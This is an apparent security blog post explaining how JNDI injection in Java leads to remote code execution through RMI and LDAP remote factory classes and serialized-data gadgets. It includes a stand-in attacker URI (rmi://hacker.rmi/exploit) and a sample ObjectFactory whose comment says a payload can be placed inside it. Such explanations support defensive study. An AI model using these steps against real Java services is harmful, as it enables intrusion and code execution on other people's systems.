JNDI Injection — Attack Flow
In this blog, we will be focusing on how the JNDI attack works from behind the scene. For understanding the basics and exploitation of JNDI, you can refer to my other blog: https://medium.com/@prajeet67/jndi-injection-the-complete-story-4c5bfbb3f6e1
Exploit Flow — RMI Remote FactoryClass
- InitialContext.lookup(URI) is is invoked within the target application, where the URI is user-controller.
- The attacker manipulates the URI parameter to point to a malicious RMI service, using a URL such as
rmi://hacker.rmi/exploit
. - The attacker’s RMI server returns a Reference object. This
Reference
object includes a specifically craftedFactory
class. - The target application dynamically loads and instantiate the Factory class, and then call factory.getObjectInstance() to obtain the object instance.
- When the ObjectFactory class cannot be found locally, it will be obtained from the address specified by the
classFactoryLocation
parameter of the Reference Class and loaded accordingly. - The instantiation of this
Factory
class triggers the execution of malicious code. This code could be written within the constructor, static block, or thegetObjectInstance()
method of theFactory
class, to achieve to Remote Code Execution (RCE).
- Stacktrace
2. RMI Request
3. Get Reference Object
4. Load class from codebase
- The
URLClassLoader
can load classes and resources from a list of URLs, which can point to directories, JAR files, or remote locations.
Exploit Flow — LDAP Remote FactoryClass
- StackTrace
2. LDAP Request
3. Get Reference Object
4. Load class from codebase
EXPLOIT FLOW — LDAP javaSerializedData to trigger Local Gadget
- Stacktrace
2. Ldap Request
3. Deserialize the object in javaSerializedData Field
com.sun.jndi.ldap.object.trustSerialData
property must be True for the deserialization to take place. This was set to False in very recent java versions. One of the PR can be found here: https://github.com/openjdk/jdk/pull/10228
Understanding the relation between javaClassName and javaFactory
javaClassName
- Specifies the name of the class that has to be instantiated
public class MyClass {
private String message;
public MyClass(String message) {
this.message = message;
}
public String getMessage() {
return message;
}
}
javaFactory
- Specifies a class that will create the instance of the above specified class.
import javax.naming.spi.ObjectFactory;
import javax.naming.*;
import java.util.Hashtable;
public class MyFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> env){
// Logic to create an instance of MyClass
return new MyClass("Hello from MyFactory");
//For attack, we can directly add our payload in this
}
}
Connect with me on Twitter for updates: https://twitter.com/sickuritywizard
Happy Hacking…